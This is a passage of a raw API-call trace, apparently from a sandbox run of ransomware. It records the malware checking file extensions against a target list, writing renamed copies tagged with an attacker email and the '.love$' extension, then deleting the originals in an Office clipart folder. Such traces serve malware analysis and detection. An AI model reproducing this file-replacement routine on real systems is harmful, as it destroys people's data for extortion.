1 [0241.909] SetEndOfFile (hFile=0x488) returned 1 [0241.910] CloseHandle (hObject=0x488) returned 1 [0241.910] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.910] SetEndOfFile (hFile=0x388) returned 1 [0241.913] CloseHandle (hObject=0x388) returned 1 [0241.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0242.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.125] lstrlenW (lpString=".doc") returned 4 [0242.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.125] lstrlenW (lpString=".docx") returned 5 [0242.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.125] lstrlenW (lpString=".pdf") returned 4 [0242.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.125] lstrlenW (lpString=".xls") returned 4 [0242.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.125] lstrlenW (lpString=".xlsx") returned 5 [0242.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.125] lstrlenW (lpString=".ppt") returned 4 [0242.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.125] lstrlenW (lpString=".zip") returned 4 [0242.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.126] lstrlenW (lpString=".rar") returned 4 [0242.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.126] lstrlenW (lpString=".bz2") returned 4 [0242.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.126] lstrlenW (lpString=".7z") returned 3 [0242.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.126] lstrlenW (lpString=".dbf") returned 4 [0242.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.126] lstrlenW (lpString=".1cd") returned 4 [0242.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.126] lstrlenW (lpString=".jpg") returned 4 [0242.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.126] lstrlenW (lpString=".doc") returned 4 [0242.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.126] lstrlenW (lpString=".docx") returned 5 [0242.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.126] lstrlenW (lpString=".pdf") returned 4 [0242.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.126] lstrlenW (lpString=".xls") returned 4 [0242.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.127] lstrlenW (lpString=".xlsx") returned 5 [0242.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.127] lstrlenW (lpString=".ppt") returned 4 [0242.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.127] lstrlenW (lpString=".zip") returned 4 [0242.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.127] lstrlenW (lpString=".rar") returned 4 [0242.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.127] lstrlenW (lpString=".bz2") returned 4 [0242.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.127] lstrlenW (lpString=".7z") returned 3 [0242.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.127] lstrlenW (lpString=".dbf") returned 4 [0242.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.127] lstrlenW (lpString=".1cd") returned 4 [0242.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0242.127] lstrlenW (lpString=".jpg") returned 4 [0242.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.128] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.128] lstrlenW (lpString="DD00419_.WMF") returned 12 [0242.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0242.129] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=712) returned 1 [0242.129] CloseHandle (hObject=0x4e8) returned 1 [0242.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0242.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0242.130] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.130] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0242.131] GetLastError () returned 0x0 [0242.131] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2c8, lpOverlapped=0x0) returned 1 [0242.133] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0242.134] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.134] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.134] SetEndOfFile (hFile=0x4e4) returned 1 [0242.134] CloseHandle (hObject=0x4e4) returned 1 [0242.134] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.134] SetEndOfFile (hFile=0x4e8) returned 1 [0242.139] CloseHandle (hObject=0x4e8) returned 1 [0242.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0242.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.140] lstrlenW (lpString=".doc") returned 4 [0242.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.140] lstrlenW (lpString=".docx") returned 5 [0242.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.140] lstrlenW (lpString=".pdf") returned 4 [0242.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.140] lstrlenW (lpString=".xls") returned 4 [0242.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.140] lstrlenW (lpString=".xlsx") returned 5 [0242.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.140] lstrlenW (lpString=".ppt") returned 4 [0242.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.141] lstrlenW (lpString=".zip") returned 4 [0242.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.141] lstrlenW (lpString=".rar") returned 4 [0242.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.141] lstrlenW (lpString=".bz2") returned 4 [0242.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.141] lstrlenW (lpString=".7z") returned 3 [0242.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.141] lstrlenW (lpString=".dbf") returned 4 [0242.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.141] lstrlenW (lpString=".1cd") returned 4 [0242.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.141] lstrlenW (lpString=".jpg") returned 4 [0242.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.141] lstrlenW (lpString=".doc") returned 4 [0242.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.141] lstrlenW (lpString=".docx") returned 5 [0242.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.141] lstrlenW (lpString=".pdf") returned 4 [0242.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.142] lstrlenW (lpString=".xls") returned 4 [0242.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.142] lstrlenW (lpString=".xlsx") returned 5 [0242.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.142] lstrlenW (lpString=".ppt") returned 4 [0242.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.142] lstrlenW (lpString=".zip") returned 4 [0242.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.142] lstrlenW (lpString=".rar") returned 4 [0242.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.142] lstrlenW (lpString=".bz2") returned 4 [0242.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.142] lstrlenW (lpString=".7z") returned 3 [0242.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.142] lstrlenW (lpString=".dbf") returned 4 [0242.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.142] lstrlenW (lpString=".1cd") returned 4 [0242.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0242.142] lstrlenW (lpString=".jpg") returned 4 [0242.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.143] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.143] lstrlenW (lpString="DD00437_.WMF") returned 12 [0242.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0242.144] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1932) returned 1 [0242.144] CloseHandle (hObject=0x4e8) returned 1 [0242.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0242.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0242.144] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.145] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0242.145] GetLastError () returned 0x0 [0242.145] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x78c, lpOverlapped=0x0) returned 1 [0242.330] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x790, lpOverlapped=0x0) returned 1 [0242.331] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.331] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.331] SetEndOfFile (hFile=0x4e4) returned 1 [0242.332] CloseHandle (hObject=0x4e4) returned 1 [0242.332] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.332] SetEndOfFile (hFile=0x4e8) returned 1 [0242.335] CloseHandle (hObject=0x4e8) returned 1 [0242.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0242.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.337] lstrlenW (lpString=".doc") returned 4 [0242.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.337] lstrlenW (lpString=".docx") returned 5 [0242.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.337] lstrlenW (lpString=".pdf") returned 4 [0242.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.337] lstrlenW (lpString=".xls") returned 4 [0242.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.337] lstrlenW (lpString=".xlsx") returned 5 [0242.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.337] lstrlenW (lpString=".ppt") returned 4 [0242.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.337] lstrlenW (lpString=".zip") returned 4 [0242.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.337] lstrlenW (lpString=".rar") returned 4 [0242.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.337] lstrlenW (lpString=".bz2") returned 4 [0242.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.337] lstrlenW (lpString=".7z") returned 3 [0242.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.337] lstrlenW (lpString=".dbf") returned 4 [0242.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.338] lstrlenW (lpString=".1cd") returned 4 [0242.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.338] lstrlenW (lpString=".jpg") returned 4 [0242.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.338] lstrlenW (lpString=".doc") returned 4 [0242.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.338] lstrlenW (lpString=".docx") returned 5 [0242.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.338] lstrlenW (lpString=".pdf") returned 4 [0242.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.338] lstrlenW (lpString=".xls") returned 4 [0242.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.338] lstrlenW (lpString=".xlsx") returned 5 [0242.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.338] lstrlenW (lpString=".ppt") returned 4 [0242.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.338] lstrlenW (lpString=".zip") returned 4 [0242.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.338] lstrlenW (lpString=".rar") returned 4 [0242.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.338] lstrlenW (lpString=".bz2") returned 4 [0242.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.339] lstrlenW (lpString=".7z") returned 3 [0242.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.339] lstrlenW (lpString=".dbf") returned 4 [0242.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.339] lstrlenW (lpString=".1cd") returned 4 [0242.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0242.339] lstrlenW (lpString=".jpg") returned 4 [0242.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.339] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.339] lstrlenW (lpString="DD00705_.WMF") returned 12 [0242.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0242.360] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=24588) returned 1 [0242.360] CloseHandle (hObject=0x4e8) returned 1 [0242.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0242.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0242.361] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.361] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0242.362] GetLastError () returned 0x0 [0242.362] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x600c, lpOverlapped=0x0) returned 1 [0242.535] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6010, lpOverlapped=0x0) returned 1 [0242.537] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.537] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.537] SetEndOfFile (hFile=0x4e4) returned 1 [0242.537] CloseHandle (hObject=0x4e4) returned 1 [0242.537] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.537] SetEndOfFile (hFile=0x4e8) returned 1 [0242.541] 